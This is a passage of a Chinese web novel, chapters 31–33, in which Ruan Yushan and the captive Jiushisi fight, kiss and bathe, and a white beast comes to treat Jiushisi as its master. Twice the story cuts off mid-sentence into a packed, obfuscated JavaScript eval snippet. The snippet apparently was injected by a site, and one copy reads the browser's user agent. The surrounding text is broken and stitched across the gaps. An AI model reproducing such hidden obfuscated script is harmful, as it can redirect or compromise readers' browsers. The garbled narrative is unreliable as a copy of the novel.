九十四正怒火中烧,神智全无,依旧是一个咬牙切齿要杀了阮玉山的神态,根本没注意到阮玉山这点细微的变化。 阮玉山微微偏头,声音也放缓了:“我不给你名字,所以你要杀我?” 九十四胸口剧烈起伏着,恨得都开始龇牙了。 阮玉山盯着他,半晌,突然笑了一下。 九十四看他笑,更是气得头发都要竖起来了:“你就是该死!去死吧!” “阿四……”阮玉山不理会他的怒吼,笑得愈发无所顾忌,“你是恨没名字,还是恨我不给你名字?” 有什么区别? 九十四管不了那么多,他都恨,反正都是阮玉山的错! 他看见阮玉山笑,就恨不得起来一口咬死阮玉山,咬得阮玉山跟他下跪磕头,跟他作揖道歉! 正当九十四要殊死一搏冲破经脉跟阮玉山拼了的时候,阮玉山突然俯下身,猝不及防往他脸上“叭”地亲了一口。 九十四脸色一僵,陡然睁大眼。 阮玉山捏着他的下巴,又往他脸上重重亲了几口。 31.认亲 九十四的脸被阮玉山亲痛了。 阮玉山的嘴唇一下一下撞到他本就瘦削的脸颊上,他也说不清自己的脸是被亲痛的还是被撞痛的,他的头跟随阮玉山充满力道的吻朝一边偏晃,莫名而来的羞耻心使他宕神的大脑只空白了一瞬。 他在这一瞬突如其来的冲击后飞快反应过来,暴怒之下强行将玄气冲破经脉,一把抬起手,推开阮玉山,翻身坐到阮玉山身上,握起拳头一通乱揍。 趁他不防偷袭一次就算了,亲那么多下拿他当什么?擦嘴的抹布? 九十四受到非人的侮辱,怒从心起,不管三七二十一,气得几乎炸了肺,目眦欲裂地对准阮玉山的脸左右开弓。 阮玉山任由他狠狠揍了几下撒气,被打得嘴角噙着血,脑子里还在回味九十四被自己亲第一口时,发出的那声茫然又带着疑惑的:“嗯?” 此刻怒发冲冠的九十四自然是不知道自己有过这样的动静,他的拳头快得只剩残影,正不停地挥舞到阮玉山的身上。 阮玉山一面承受着,一面垂下眼帘,对着九十四那一声疑问回味了又回味,恨不得立马扑上去再亲一口,让九十四再失措几次。 他此刻心里爽快得简直快要升天。 九十四气他,气他昨晚说的那些话,气到想要杀死他的地步。 这是九十四不清楚但是他清楚的——那不是恨,是在乎。 九十四在乎他。 因为那一点好不容易流淌出来的在乎被他昨夜一番话驳了回去,九十四凡心催恸,可蝣人不明白那样的悸恸是什么,只觉得高兴了便是恩,难过了便是仇,于是九十四把那点难过当成了恨。 九十四本着自以为是的恨,遵循过往十八年的生存法则,认为自己应该杀了阮玉山。 他不明白,但阮玉山明白。 那压根不是恨,是被阮玉山一气之下糟践的喜欢。 阮玉山在顷刻间肯定了这件事——九十四喜欢他。 喜欢到受他一分辜负便要杀他十分的地步。 阮玉山高兴得近乎发狂,他一口咽下嘴里的血腥气,放在地上的双手悄然抬起来,把住九十四夹在他腰侧的两条大腿,紧紧贴着,用力地摩挲。 打吧,是该打的,九十四误解自己的心,他不该也跟着误解,还为自己的误解反伤了人,他撒过一场气,如今也该让九十四痛快痛快。 九十四对这一切都毫无察觉。 他的腰带被阮玉山解了,衣服松松垮垮地敞开着,露出白花花的中衣,衣衫下摆在他大开大合殴打阮玉山的动作里上下飘荡。 阮玉山看着他中衣下摆处那截时隐时现的白细的腰,觉得那腰的主人就这么骑在自己身上,打人都那么韧,那么有劲儿。 九十四手劲儿大,可阮玉山那么多年练就的身子骨也不是吃素的,加上他现在体内玄气四处乱冲早已紊乱,压根没使出几分玄力,存粹对着阮玉山肉搏,一通气撒下来,阮玉山嘴角见了血,身上也就是点皮外伤。 毕竟饕餮谷的蝣人都能随随便便吃九十四几拳,阮玉山更不在话下。 他估摸着九十四这一通火发泄得差不多了,想着自己要是再任九十四这么打下去,只怕对方也要遭血契反噬。 心里高兴完一阵,又过饱了眼瘾,阮玉山把方才九十四被自己一口亲蒙的情形按在心里暂且不想,观察到九十四现下出手已然章法全无,是一个被气昏了头的光景。 他适时忖度着出手,趁九十四收力的当儿,一把攥住九十四的右边胳膊,眨眼间翻身而起,将九十四撞倒在地,另一只手顺势摸到九十四的骨珠位置,在骨珠东南西北四个方位点穴画印,心里捏了个默决,最后拇指一把摁在九十四骨珠中间,就见九十四挣扎了一下,放在脑袋边的左手蓦然抓紧,随后动弹不得。 一股难以抑制的酥麻感从后背迅速蔓延到九十四的全身,很快,他连舌根都失去了知觉。 阮玉山俯下身,握住九十四左手手腕,看见那只手的指根处还沾着不少自己的血。 他凑过去嗅了嗅,将手掌移到九十四掌心下方,反手过去扣住九十四的五指,用九十四的手背一点一点擦去自己嘴角的血迹。 擦完了一抬眼,瞧见九十四还恶狠狠睨着自己,眼角都淬满毒意。 阮玉山并不抵触九十四此刻的恨,他笑着拨开九十四散乱在侧脸的头发,方便九十四更全乎地瞪着自己,低声哄道:“牙都快给我打掉了,还没撒完气?” 其实阮玉山的牙并没有大碍,正健全地驻扎在他的嘴里,就是九十四再打个十来下也动摇不了他的牙。但是他并不介意在九十四面前把自己挨揍的结果描述得惨痛些。 想到这里,阮玉山装模做样地咳嗽了两声,做出一副内脏也未能幸免于难的架势。 九十四不说话。 当然很大一部分原因是他说不出话,否则他肯定得问问阮玉山咳嗽是不是因为被那两句假话给呛到了。 阮玉山的手掌压住九十四半截腰,他把下巴搁在九十四的肩头,视线游走在九十四冷漠的眉眼和因怒意而血色充足的嘴唇之间,无可奈何地又想起九十四被他亲吻时发出的声音,未免心旌摇晃。 因此他愈发好言好语地同对方商量,同时还不忘伸出指尖去擦九十四鼻尖蹭上的灰,擦得万分小心珍惜:“非得杀我?就不能换个法子解恨?” 九十四闭上眼,看到阮玉山就烦。 目前两个人局势相当明了,将阮玉山变成活死人的计划眼下已是无力回天,他不再做无谓的反抗,只能将这点希冀按捺在心里,待日后自己更熟练强大些了,再寻机会。 今夜还长,阮玉山还要开口,二人身后的山坡上突然传来马匹惊慌的嘶鸣,紧随着,便是一阵异常沉重缓慢的脚步声。 阮玉山的目光几乎一瞬间警觉起来——这样厚重的踩踏地面的声音,绝不是人能发出来的。 九十四也睁开了眼,但碍于现在被阮玉山点着穴,以至于浑身只有两个眼皮子能动,他便没法扭头去看来者是谁。 不过下一刻,阮玉山便快速地起身,挡在了他的面前。 能让阮玉山如此煞有介事的东西,想必也不简单。九十四看不见,但他听到来者发出一种粗重又黏腻的呼吸声,像某种体型庞大的野兽在伸着舌头,对他们出气。 这种呼吸在他的记忆里无比熟悉,连起伏的韵律似乎都曾让他贴身感受过。 而且就在不久前。 ——是那罗迦! 阮玉山只身面对着这头两天前曾被九十四亲手刺破心脏的巨兽,方才脸上同九十四言笑晏晏的神色已荡然无存。 这只浑身雪白的那罗迦前胸和后背的伤口显然已愈合,只是被九十四捅穿的毛发处凝固了大片干涸的绿色血液,现在以一个找寻的姿态盘踞在二人跟前,却不见有进攻的意思。 阮玉山蹙眉,察觉出了一丝异常,但当下情形不容他细想。他注意着那罗迦的一举一动,同时在心里盘算自己扛着九十四回到竖井中需要多少时间,在这期间凭借自己的速度能否躲得开那罗迦攻击。 直到他发现那罗迦的目标完全不在他身上。 对方的视线不断地企图越过他,去找寻他身后的人。 阮玉山往左,那罗迦就往右挪;阮玉山往右,那罗迦就朝左边绕,总之是很想去到九十四身边的模样。 这不正常。 一来那罗迦从来是成群结队出没在野外,极少个体会单独出来觅食,遑论这样一只兽王——它离开了,其他那罗迦群龙无首,怎么可能不跟上来?二来九十四身上流淌着这个种族的血液,就算那罗迦要捕猎,那也应该是拿阮玉山当目标,而不是打被它们视作同类的九十四的主意。 阮玉山彻底冷静下来。 他不再做躲藏的打算,而是沉下心观察这只那罗迦,看看对方究竟有什么企图。 果不其然,那罗迦看他一直挡在自己和九十四之间,便扬起脑袋,冲他嗷呜两声。 这声音里没有半点攻击的意味。 阮玉山挑眉,瞧见那罗迦冲他别了别下巴,意思是让他走开。 到这一步,阮玉山便了然了。 他非常配合地往旁边退了退。 那罗迦当即迅速上前,先在距离九十四还有一步之遥的位置停下来,青绿色眼睛里透着一阵兴奋又生涩的光,似乎瞪大了眼想要看清地上的人。 随后,它绕着九十四怯怯地转了两圈,尾巴不停地摇摇晃晃,舌头伸出几寸长,不住地哈气。 九十四倒在地上,冷冷地盯着这头那罗迦,眼珠子跟着它的步伐从头转到脚,一边提防,一边眉头紧皱。 要不是现在骨珠下了印,他很想起来给阮玉山和这头那罗迦一个一巴掌。 正想着,他忽然感觉自己腰腹一软,碰上什么温暖庞大的东西。 九十四垂眼。 很快又睁大眼。 那罗迦在拿脑袋拱他! 第一次亲近人的野兽对自己的力道无法掌控分寸,所以拱人的力度非常小,小到九十四感觉肚子被轻轻挨了一下以后,就看到那罗迦收起舌头,无措地扭头望向阮玉山。 阮玉山哈哈一笑,走过来拦腰扛起九十四,把九十四整个人挂到自己肩上,顺手“啪”一声拍上九十四的屁股:“阿四,你当娘了。” 这世上身体里会被注入那罗迦血液的只可能是饕餮谷的蝣人,而被迫注入那罗迦血液的蝣人,基本都是主顾买回家的猎物,这些猎物在被主顾带回家的途中遇到那罗迦的可能不过万分之一,遇到之后又能一□□穿那罗迦心脏的更是百年难出一个。 身体里流着跟那罗迦相同的血,又一把捅穿那罗迦心脏将其杀死的人,理所当然会被那罗迦当作母亲。 九十四自然不知道这其中的弯弯绕绕,他只是挺着脖子直勾勾望着方才自己躺过的地方——他那根被自己绷断的腰带还落在原地,那是衣棚老板连带着这身衣裳一起送他的,他还想回去缝缝接着用! 可惜这会儿他的舌头僵得堪比饕餮谷的铁栏杆,捋不出半个字,自己整个身体倒挂在阮玉山肩上,根本无法动弹。 九十四抬起眼睛,看到的是紧巴巴跟着他的那罗迦;垂下眼睛,又是阮玉山的宽大后背。两个东西一个比一个烦人。 这世上非我族类,全是讨厌鬼。 他闭上眼,心想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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其他话倒是被烧得干干净净,怎么看都有点故意的意思。 这下开脱不了了。 阮玉山捏着在风中瑟瑟飘荡的纸条子,质问似的举着它看向九十四。 九十四跟尊菩萨一样高高坐在灶上,目光轻飘飘拂过阮玉山两根手指间的字条,又慢悠悠瞥了阮玉山一眼,接着眼珠子一扬,冷冷清清地望天不说话。 阮玉山两个指头并在一块儿,隔空对着九十四点了又点,气得咬着牙笑,决定就算不打断腿,今晚也得给九十四一点颜色瞧瞧。 他叉着腰左顾右盼,最后视线还是回到面前这口锅上。 阮玉山哼笑一声,端起锅道院儿里一通洗涮,放回灶上开始跑去劈柴,批完了柴便往灶下点火,又把桶里剩的干净水倒进锅里。 好一阵忙活完,是火也烧起来了,水也加了,他回到九十四跟前,看九十四还是那副高高在上爱答不理的样儿,便一把把人抱下来丢进锅。 无数水花从锅底溅出来,九十四倒是古井无波,反正动弹不了,就随便阮玉山怎么摆。 阮玉山把他斜着摆,他就把锅当罗盘,自己跟个指针似的一动不动;阮玉山把他横着摆,他就把锅耳当枕头,横着窝在锅里睡大觉。 摆了会儿,阮玉山又觉得这姿势会让九十四腰不舒服,便把人翻了个面儿,侧过来转向自己。 这下他满意了。 阮玉山拍拍手,大岔着腿地往小木凳上一坐,开始往灶里加柴。 “不怕死是吧,”他一边加一边吓唬九十四,“本老爷今天就要尝尝,蝣人肉到底是个什么味道。” 原本纹丝不动的九十四听到这句话忽然抖了抖眼睫,半睁开眼,朝下凝视着阮玉山,眼睛里闪了闪,一副若有所思的神色。 阮玉山看他睁了眼,瞧他那副样子就知道这人的心肠又九拐十八弯悄么声儿绕走了,不过怎么着也算是给了点反应,于是便假装当九十四被唬到了,迎着熊熊火光接着说:“你说我是蒸你来吃,还是煮你来吃?” 九十四压根没被吓唬到。 守在门口的那罗迦跟九十四心意相通,这会儿它还坐在地上抬起后爪挠脖子,根本不打算来救,一看就知道是锅里的人半点没在怕。 “不说话?”阮玉山扬起唇角,起身撑在灶台上,俯过去瞅着九十四,一伸胳膊,猝不及防解了人的结印,“真以为我不敢杀你?” 九十四的印解了,但一时半会儿全身还松快不了,那股麻痹感先从舌头慢慢褪去,大概得要半个时辰才能彻底消除。 “你不想杀我。”九十四等到舌头恢复知觉,双目静静同阮玉山对视着,“杀一个人的眼神不是这样。” 他在饕餮谷待了十八年,见过太多任人处置生死的族人,没有一个主顾在行杀伐之事时是阮玉山这种眼神, 阮玉山微微弓着身,像平日里给九十四做饭时那样。他的双手敞开,握住灶台的棱角,五指稍一用力手背便能看见长而交错的条条青筋。 灶下的火呼呼烧着,明亮的橙色光晕在他身上跳动。阮玉山太高大了,火光扩散到他的颈下便逐渐昏暗。 最后晕染到他眼中的,只剩一些不清不楚的暧昧阴影。 “那你看过自己吗?”九十四听见阮玉山开口,“阿四,你说你要杀我,可你的眼睛不是。” 32.肉干 九十四认为阮玉山那一阵一阵的毛病又犯了。 对此他几乎开悟般的掌握到一点规律:阮玉山的毛病是突发的、有时效性的,总是毫无任何预兆和道理。若非要找点什么预兆,那大抵都是在他二人之间剑拔弩张的氛围稍微温和一些的时候,阮玉山的毛病就会见机缠上来;偶尔也会有那么一两次,九十四对他越是横眉冷对,他倒发病得越严重。 万幸的是阮玉山这病并不寻求医治,也不强求九十四回应,好像犯病的目的就只是为了让九十四知道他犯病罢了,九十四听完他的话,他也就满足了。 因此对这种情况九十四已熟能生巧,泰然自若。当阮玉山再一次用莫名其妙的眼神看着他说这些莫名其妙的话时,他心如止水地用自己解禁的小半边身体奋力往旁边一扭,在锅底翻了个身,仰面朝天地开始闭眼休息。 反正阮玉山暂时是死不成了,九十四对一切都已无意逞口舌之快。别说阮玉山这会子说什么他的眼睛不想杀他,就算现在阮玉山告诉他天上挂的是太阳,地上一天有十三个时辰,九十四也不会反驳。 退一万步讲,他怎么会知道自己望着阮玉山的眼睛是什么样? 一个人就算是照镜子也只能看到自己对自己的眼神,若要分神去看别人,那便注意不到自己的眼睛了。 阮玉山又不长在他的眼睛里。 九十四乱七八糟地任由思绪随意发散,不知不觉便半梦半醒地睡了。 他今天是很累了,在外边游荡了一天,看了大半本书,好不容易把书上的字词诗句都记得滚瓜烂熟,晚上回家匆匆忙忙吃毕了饭又马不停蹄地赶去杀阮玉山。 人没杀成,反倒给自己落得个五花大绑地回来。 想到这儿,九十四感觉自己仿佛还在阮玉山的肩上,摇摇晃晃地悬在空中,不知几时才有着落。 不对。 九十四睁眼,发现自己现在当真悬在空中,是又被阮玉山挂到了身上。 阮玉山把他从锅里抄起来,抱着在院子里转了一圈也没找着合适的地儿放——若是扔床上呢,九十四早前在山坡上滚得满身是灰,这会儿又沾了水,上床必定脏床;放地铺呢,只怕九十四还没挨到被褥就先自个儿跳起来,顺便再挠阮玉山一下,以惩戒阮玉山对他这床宝贝地铺的大不敬之罪;若是放地上,阮玉山又怕硌着九十四。 总不能一直抱着——尽管阮玉山心里很乐意,但他毕竟要忙活其他事;也不能含嘴里;更不可能顶头上。若是九十四变小个几十倍,阮玉山倒也不介意试试。 思来想去,阮玉山盯上了院门口石狮子似的那罗迦。 那罗迦正舔着毛,忽察觉身后一道凛冽的视线。 转头一看,瞧见阮玉山把怀里睡眼惺忪的九十四颠了颠,又冲它扬了扬眉毛。 那罗迦心领神会地一个翻身卧倒。 阮玉山把九十四的上半身靠在那罗迦最柔软的肚子上,又把外衫解下来给九十四盖着,说道:“脏是脏了点,你将就将就。” 九十四垂眼看向身上的外衫。 “不是说衣裳,”阮玉山指着那罗迦远看是白色近看早已脏成灰色的肚子,“是它。” 那罗迦颇为不满地冲他呜了两声。 阮玉山最不在乎的就是旁者的不满。 他起身打算回到灶前,余光瞥见那罗迦正对着怀里的九十四垂涎欲滴,好像下一刻就要把口水淋淋的大舌头舔过去给九十四顺毛。 “敢。”阮玉山一个眼刀飞过去,生怕晚了一步那罗迦的口水就滴到九十四那张白白净净的脸上,“还嫌自己不够脏?” 那罗迦讪讪收了舌头,老实巴交趴在地上当个靠垫。 安置好了九十四,阮玉山才开始忙活烧水。 两个人在矿山上都滚得够呛,半坡尘灰全往衣领袖子里头钻。 若阮玉山不讲究,就这么灰头土脸地往床上一倒睡了,那也就算了,偏偏他这个人忍不了脏。 又或者他再讲究,此时是行军在外,粮水有限,那也还是能算了,可恰好现在院里用水粮食都不缺。 阮玉山最是个不会骄纵自己的人。 左右今夜他也睡不着,一沉下心就回味起九十四在山坡山跟他缠斗时的模样。 当真是跟个玉做的人儿似的,雪化的脸,冰砌的骨,皱眉冷眼,一嗔一怒都摄人心魄。 一想到这么个玉人儿嬉笑怒骂皆由他而牵动,阮玉山心里九百条得意尾巴全直刷刷往天上翘。 他一面守在灶前烧水,一面细细回忆今晚九十四的喜怒哀乐。每咂摸出点意思,就朝那罗迦那边瞥一眼九十四过过瘾,颇有点吃一口小菜下一口酒的意思。 那罗迦浑身的皮毛又粗又硬,兽皮有寻常人一个巴掌来厚,背部的毛发也是粗糙的一茬茬往外长,偏它肚子的毛很软,九十四的头往后靠,便陷到那罗迦腹部深深的绒毛里。 为了让他靠得舒服,那罗迦还特地把肚子蜷了蜷,将九十四环绕着围起来。 再打量打量阮玉山,又低头看看九十四,实在忍不住了,那罗迦又偷偷摸摸看一眼阮玉山,直到被阮玉山瞪了一眼,它才彻底收回给九十四舔毛的心思。 九十四安安静静地窝在它怀里,身子暖了,困意便更重。 他抬手往脑后摸摸那罗迦的肚子,抓到一手触不到底的软毛,便一边揪着,一边低眼沉思。 阮玉山其实不太乐意九十四这时候睡觉,外头风大,夜凉,倘或睡病了可就麻烦了。 他看灶上这一锅水还得有些功夫才能烧开,便回房去自己包袱里翻找翻找,果然找到一小袋子肉干。 红州自古盛产牦牛。林烟遇见阮玉山之前日子饥一顿饱一顿的过得苦,自打进了阮府跟在阮玉山身边,发现好鱼好肉跟不要钱似的想怎么吃就怎么吃,便敞开了肚皮给自己过了几天好日子,哪晓得好日子过过了头,无福消受,给自己大鱼大肉吃得病了许久。 官医叮嘱千万忌口,可林烟还是忍不住贪吃。 阮玉山当时便找了几袋子红州的肉干给林烟解馋。 红州的肉干烤得是十成十的干,一点油水不放,拿炭火成夜烘烤。 烘烤时每隔一段时间依次放入上等烤肉的香料,先去腥再增味,里里外外烤得干干的拿出来,撕开一块能瞧见肉连着薄纸一样的筋,第一口是肉香,第二口是香料一层一层在牙关里递进的气味儿,一小块就够嚼好一会儿。 林烟打那时起爱上了红州的肉干,举凡出门,必要在随身行囊里带几袋子打打牙祭。他不仅自己带,还时不时爱往阮玉山包袱里塞几包。 阮玉山的行李袋经由府里最好的绣娘缝制,面料一等一,绣工一等一,隔层多,又各有大小,从外看形状简单,实则内里别有洞天,穿的用的基本不缺。 他把那一袋子肉干扔到九十四怀里,以防九十四在院里打瞌睡:“醒醒精神!” 九十四打开袋子,先低头往袋子口嗅了嗅。 蝣人对关乎生死的东西有着非同寻常的敏锐感知,比如方寸之内逼近的危险,杀意,够得到的水,还有食物。 九十四闻出肉的味道,脑子还昏昏沉沉,手上先捏住一块往自己嘴里塞了一口。 “如果别人给你这些东西,”阮玉山背着手站在门口,轻声提醒道,“记得叫他自己先吃一口,以免对方下毒。” 阮玉山是从来不屑用诸如下药的阴险手段,可九十四的提防之心却似乎有些过于淡泊了。 如果九十四再多跟世上的人打交道,那么他就会明白,很多时候能在肉里下的,并不止毒药。 阮玉山的话点到为止,多余的没有再说。 许多事情得要亲身经历才能让人长记性,九十四没有经历,说再多也无法让他记忆深刻。 阮玉山觉得,自己要下功夫的地方也不在口舌之上,只需保证九十四在经历的时候,他守在身边就好了。 “撕着吃。”阮玉山教九十四,“小心咯到你的牙。” 九十四装聋作哑。 肉干已经很小块了,他不理解怎么样撕着吃,也不明白为何要撕着吃。阮玉山那些属于老爷的奇怪讲究和做派,他不打算去了解。 九十四没吃过肉干,饕餮谷的日子里他每天茹毛饮血,出了谷便进了村子,荒郊野岭的北方除了储存在地窖的白菜笋干,其他没什么可吃,不过九十四这几天也吃得十分知足。 此时乍然尝到红州风味的肉干,吃得是愈发聚精会神。 他吃东西绝不急躁,一向慢条斯理,这是他多年在饕餮谷养成的习惯——吃得慢些,以防有些小蝣人的口粮不够时,没人分一口给他们。 即便如此,他认为自己一辈子也不会把这么小的肉干撕着吃。 九十四正细细嚼着,手里的袋子被人夺过去。 他下意识还要往自己这边抢,被阮玉山一巴掌拍到手上赶开:“毛都还没长齐就会护食儿了。” 九十四松手。 并默不作声地思索自己哪里的毛没长齐。 阮玉山将他此刻神色抬眼一扫,笑了一声,却不做解答。 “手摊开。”阮玉山蹲在九十四跟前撕肉,把九十四的手抓过去,刚看了一眼,又故意揶揄,“哈——脏得比我还黑。” 九十四虽然困得昏沉,但跟阮玉山呛起来来可清醒得。 他平静地接话:“巴掌要印到脸上,才看得出到底哪个黑。” 阮玉山点着头笑:“我看你是不见黄河心不死。” 说完抓着他的手往自己脸上摸了一把。 不仅摸,还贴着他的掌心蹭了蹭。 这一蹭还当真在那张古铜肤色的脸上留下五个黑漆漆的指印和一团污糟的阴影。 九十四:“……” 阮玉山见他无话可说,得寸进尺地把那半张擦脏的脸凑过去:“您老看得清楚?” 九十四眼一冷,蓦地抬手捧住阮玉山的脸,把另外一边也拿手掌胡乱擦得全是灰。 擦完以后阮玉山左右两边脸全都黑不溜秋,就印堂还留着原本肤色,活像个唱戏的黑脸。 他像是在九十四出手时就知道对方要干什么,也不躲,就笑着仰起脸,任九十四捧着他的脑袋搓揉。 九十四两只手的灰尘全搓他脸上了以后,阮玉山再麻利地走到晒衣杆旁边,取了今早才洗干净的抹布,去灶台浇了热水打湿回来,用湿抹布包住他的手,一点一点给他把脏东西擦下来。 “手脏了就得洗。”阮玉山仔仔细细给他擦完手心擦手背,头也不抬,“不会洗总会叫人罢,不吭声是怎么个事儿?泥巴全吃嘴里了。” 一边说着,一边给他换另一只手接着擦。 九十四忽然学着阮玉山的腔调哼笑一声。 这回换阮玉山莫名其妙地抬头了。 九十四扬起下巴,又朝天上看,故作傲慢:“不洗。” 阮玉山挑眉:“不洗?” 他看他也没把手抽回去。 于是阮玉山一边给九十四擦着手,一边做出一副恭候下文的姿态。 九十四不咸不淡地继续说:“我,是邋遢鬼。” 阮玉山擦手的动作一下子停了。 他是看出九十四很有些得理不饶人的脾气了,那一夜的口角轻易过不去。 阮玉山干脆骑驴下坡,点点头:“我是万人嫌。” 九十四垂下眼睥他。 阮玉山:“万人嫌洗邋遢鬼,谁也别嫌弃谁。” 九十四一把抽回手。 阮玉山哂笑,嘀咕道:“老爷我还治不了你了。” 待会儿就让小蝣人刮目相看。 他抖了抖帕子,起身丢回盆里,给自己擦完脸,再顺手把小凳子搬到九十四跟前,大剌剌地坐下,抓起九十四的手摊开放到自己膝盖上,一点一点地给九十四撕起牛肉来。 阮玉山撕肉撕得很细致,他向来是个粗活细活都上手,能文也能武的性子,早些年老太太偶尔有些馋肉干的时候,因为人老掉了牙,咬不动肉,全靠阮玉山亲手把肉干撕成细细软软指甲缝大小的肉丝才让老人家解了馋。 他撕好一些放到九十四掌心,示意道:“尝尝。” 九十四先凑近瞅了瞅,捏起一根放到嘴里嚼了嚼,睫毛一颤。 撕好的肉干咬起来不费事儿,还能嚼到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这些都是阮玉山从今晚在那罗迦找上门的反应里推测的,毕竟世上身体能兼容那罗迦血液的人少之又少,怀揣着那罗迦血液还能和神话中的母亲一样从后背一把刺穿那罗迦心脏的,只怕从古至今也只有一个九十四。 当时阮玉山急中生智做出了猜测,又因为九十四先前种种惹得他心花怒放,导致他一时说话直白了些,现在想来,蝣人兴许大多都不了解世俗所谓的母亲有怎么样的含义,更不知九十四能不能接受突如其来的“母亲”的身份。 阮玉山思忖再三,换了个形容:“主人。” 他说:“你杀了它,它把你当主人。” 九十四听了,并不表态。 他窸窸窣窣吃完阮玉山给他撕好的肉干,往后面一躺,对阮玉山挥挥手:“你走吧,我要休息。” 他的谱在阮玉山面前摆得是越来越大,甚至有些肆无忌惮。 阮玉山回头看看灶上的锅,见里边水已烧开,估摸着很快就能让九十四洗漱,便不再阻挠对方打盹。 九十四吃饱喝足,头一挨着那罗迦,闭眼便陷入沉睡。 睡到一半他隐约察觉有人在捣鼓他的四肢,出于本能,九十四下意识地清醒睁眼,瞧见阮玉山正在给他脱靴。 而自己不知几时被抱进了屋子,正歪在凳子上睡觉,眼前是冒着热气的浴桶。 九十四一看捣鼓他的人是阮玉山,当即一翻眼睛又睡过去。 防备心这个东西,兴许在阮玉山面前一辈子也立不起来。 入水时他先听见另一个人踏进浴桶的声音——阮玉山没有趁人之危的癖好,更何况九十四也不是谁想趁就趁的,稍不注意可能就会招来一通乱揍,阮玉山虽然经揍,可对此并没有很浓厚的兴趣。抱着九十四进浴桶完全是因为在外边不好把人放进去。 九十四被汹涌淹没而来热水烫得他发出了一声低吟。 阮玉山安置他的手似乎在他身上顿了顿,他听见阮玉山在他耳边带着笑问他乱叫什么。 九十四睡着觉,一切感官都模糊了。 水面在他的胸口滚动起伏,他不知怎么想起今夜自己在山上对着阮玉山胡乱发泄的那十几个拳头。 饕餮谷身体最强壮的蝣人也挨不过他五拳,今夜阮玉山生生受了十来下,似乎也是专门为了让他撒气。 仔细想想阮玉山其实并没有对他做什么,就连昨夜争吵时说的那些狠话也让他用拳头报复了回去,若非要说的话,对方最大的错处还是不肯给他解开后背的刺青。 只是他不明白对方那一顿胡乱的亲吻是什么意思。 在饕餮谷长大的九十四甚至不知道那是亲吻。 他朦朦胧胧地在心里想,改日找阮玉山说说,倘或对方愿意解了刺青,那么他可以考虑跟阮玉山交个朋友。 九十四忽然想看看阮玉山身上被他下过重手的地方是个什么情况。 可他太困了,睁不开眼,知道阮玉山就坐在他不远处——他不介意跟对方共用一个浴桶,毕竟在饕餮谷,他的水桶也是百十八和百重三的水桶,他也时常让百十八和百重三站在桶里一起洗澡,那样很能节约一些用水。 阮玉山给九十四在浴桶里摆了个舒服的姿势,刚要起身出去,忽然被九十四拉住。 为了方便把九十四放进来,阮玉山抱人入水时既不想穿着没换的中衣,也不想浪费新换的中衣,所以上半身直接没穿衣裳。 他看见九十四在弥漫的水气中强打精神睁开眼睛,一手拽着他,双眼无神地另一只手摸上他的腰腹,梦游似的从他坚硬的腹部一路摸到精壮的胸前,摸到几个肌肉硬挺的地方,还不忘记用手掌按一按,仿佛在检查那里是否是什么鼓包,又或者有什么伤口。 阮玉山饶有兴趣地挑了挑眉,在九十四的手贴上他滚烫的胸口时,将其一把摁住。 他若有所思地敛下眼,似笑非笑地望向九十四:“今晚?” 九十四的指尖在他胸口挠了挠,像是想挣脱,但又不用力。 阮玉山扬唇,偏头问:“要这么快?” 33.衣带 九十四看阮玉山这样皮实得很,一点也犯不着叫人担心,便要闭上眼接着睡。 睡了不知多久,他听见耳边水波倾荡,阮玉山靠近,低声喊:“阿四?” 九十四懒得吭声,便蹙眉以示回应。 浴桶窄长,阮玉山要靠近他,便只能压上来。 他被挟制着,手还没能收回来。 “我给你赔罪。”阮玉山将他的湿发别到耳后,“给你取名字,你要不要?” 九十四眼皮动了动。 “不要。”他闭着眼,气息懒倦,却无比清晰地说,“谁取,我都不要。” 阮玉山没有再动。 虽然是意料之内,不过他还是沉默了片刻。 他的目光在九十四浅睡的脸上停驻了很久,忽然明白九十四要他取名字那晚压根不是一个索取的姿态。 九十四是不会向别人低眉求索的,那是九十四给他的机会,阮玉山一次不要,就永远拿不回来。 不过他也很有自己的傲气。这一生作为城主,阮玉山从未要向谁主动奉献过什么。只这一次,还遭拒绝。 这个冰雕玉砌的漂亮九十四冷得叫人寒心,在这一瞬间也忽然变得没那么顺眼起来。 不要便不要,阮玉山满不在乎,认为自己并不是一个因为一点喜欢就抛弃尊严,傲骨全无的人。 他堂堂红州大老爷,自来是千万人求着他取名的,还没有他拿着名字求别人收的道理。 九十四不要他取,他也没有很想给九十四取的意思! 因此阮玉山坐起身,离九十四远了些。 又睨着九十四半晌,拿鼻子出了一声气,摆起老爷的架子地点评道:“不知好歹。” 九十四动了一下。 阮玉山立马俯过去伸手护住九十四的脑袋。 九十四微微侧了个身,顺势把头枕在他的掌心,无所顾忌地睡着。 阮玉山就这么弯腰拿手给人当垫子。 他盯着九十四被水气蒸得像雪一样透亮的脸,心里不忿:这么个不知好歹的人,再漂亮他也不应该伺候。 他唰的把九十四从浴桶捞出来,扯了架子上的锦帕给人裹全乎了,往床上一丢,又用被子把人包成个蚕蛹,自顾去院里收拾,打定主意今夜再不管九十四一点事。 九十四在床上闭眼到阮玉山彻底离开房门,听见外头叮叮哐哐响,悄然睁开眼。 他拿眼睛扫了扫把自己浑身裹紧的被子,又转着眼珠子看看床,忽然掀开被子一骨碌往外滚,直滚回自己的地铺上,泥鳅一样钻回自己被子里,再蜷缩着躺下。 诚然骨子里九十四丝毫不认为阮玉山比自己高贵,但是身体上他仍然无意去占领对方的地盘。 他的归属在自己那一方足够使他自得其乐的地铺上,而不是阮玉山的温床。 蜷了一会儿九十四还是不得劲,他四处看看,瞅见不远处的床脚,便把地铺挪过去,挪到紧挨床下的位置,用手攥着床脚的柱子,才安稳睡了。 饕餮谷的笼子四面都是铁栏杆,九十四过去睡觉习惯了后背靠着一面,前头用手抓着杆子睡。一时出来了,有舒坦宽敞睡法还不习惯,总要抓着点什么东西,最好后背再靠着点硬硬的墙,他才能一闭眼睛睡个天昏地暗。 